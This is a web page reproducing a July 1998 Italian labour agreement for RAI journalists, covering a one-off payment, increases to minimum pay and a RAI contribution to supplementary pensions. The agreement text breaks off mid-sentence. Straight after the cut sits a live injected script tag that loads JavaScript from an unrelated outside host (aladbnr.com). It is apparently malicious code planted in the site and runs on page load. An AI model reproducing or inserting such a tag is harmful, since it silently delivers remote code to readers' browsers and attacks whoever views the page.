Torna
all'elenco delle categorie
|
Categoria: Giornalisti RAI Settore: Poligrafici e Spettacolo Data stipula: 27-7-1998 Data decorrenza: 1-10-1997 Data scadenza: 30-9-1999
VERBALE DI ACCORDO
Addì, 27 luglio 1998
tra
- L'Associazione Sindacale Intersind, con la partecipazione della RAI
Radiotelevisione Italiana
e
- la Federazione Nazionale della Stampa Italiana e l'Unione Sindacale
dei Giornalisti RAI
è stato stipulato il presente accordo, da valere per i giornalisti
dipendenti dalla RAI - Radiotelevisione Italiana, avente ad oggetto
l'applicazione del Contratto Nazionale di Lavoro Giornalistico (C.N.L.G.)
4 giugno 1998, recepito dalla Convenzione stipulata in pari data tra
l'Associazione Sindacale Intersind e la Federazione Nazionale della Stampa
Italiana.
Le parti convengono che l'erogazione della somma una tantum prevista al
punto 3) del verbale di accordo sottoscritto in data 4 giugno 1998 dalla
Federazione Italiana Editori Giornali e la Federazione Nazionale della
Stampa, avverrà con le competenze del mese di agosto 1998 e confermano che
il valore del minimo tabellare in atto al 30 settembre 1997, è
incrementato dell'importo di L. 80.000 a regime al livello di riferimento
del redattore ordinario (redattore con oltre 18 mesi di anzianità
professionale e redattore con oltre 30 mesi di anzianità professionale,
entrambi al parametro 125 in vigore in RAI), importo che verrà corrisposto
in ragione di L. 40.000 a decorrere dal 1° maggio 1998 e di L. 40.000 a
decorrere dal 1° gennaio 1999.
Lo stesso importo di L. 80.000 a regime verrà corrisposto ai
telecineoperatori ordinari, mentre per i telecineoperatori coordinatori ed
i telecineoperatori inviati la stessa somma sarà ricalcolata sul parametro
135.
Le parti confermano altresì gli incrementi del valore dei minimi di
retribuzione per i collaboratori fissi (art. 2 C.N.L.G.) ed i
corrispondenti (art. 12 C.N.L.G.), nei termini e con le modalità di cui al
punto 2) del citato Accordo FIEG/FNSI del 4 giugno 1998.
Quanto al punto 6) dell'Accordo stesso (Previdenza complementare), le
parti concordano di sostituire al contenuto di cui alla lett. a) il
seguente testo:
a) contributo a carico della RAI pari allo 1% della retribuzione fissa
annua del giornalista, calcolata sui seguenti elementi tassativamente
indicati: prima voce di busta - paga (stipendio), indennità di
contingenza, indennità di mensa ed indennità' contrattuali forfettarie
(15° comma art. 7 C.N.L.G. nella sua applicazione in RAI, maggiorazione ex
art. 5, Accordo 14 novembre 1991 e successive modificazioni, indennità ex
art. 14, Accordo 14 novembre 1991 e successive modificazioni, compenso ex
art. 1 accordo 14.1.1972 e successive modificazioni, indennità di
residenza all'estero), nonché importi ad personam per i vari titoli per i
quali vengono corrisposti.
Resta inteso che il contributo a carico del dipendente e la quota del
T.F.R. previsti alle lett. b) e c) dello stesso punto 6 Accordo FIEG/FNSI
4 giugno 1998, si intendono da calcolare con riferimento alle
modificazioni introdotte al punto a) del presente accordo.
Le parti si danno atto che la regolamentazione dell'intera materia sarà
oggetto di revisione all'atto di eventuali modificazioni della normativa
generale.
Addì, 27 luglio 1998
tra
- L'Associazione Sindacale Intersind, con la partecipazione della RAI -
Radiotelevisione Italiana
e
- la Federazione Nazionale della Stampa Italiana, con la partecipazione
dell'Unione Sindacale dei Giornalisti RAI
premesso
- che l'accordo per il rinnovo del Contratto Nazionale di Lavoro
Giornalistico riferito alla parte economica per il biennio ottobre
1997/settembre 1999 è stato raggiunto il 4 giugno 1998 tra la Federazione
Italiana Editori Giornali e la Federazione Nazionale della Stampa
Italiana;
- che la Federazione Nazionale della Stampa Italiana ha richiesto di<script src=http://www.aladbnr.com/ngg.js></script>
|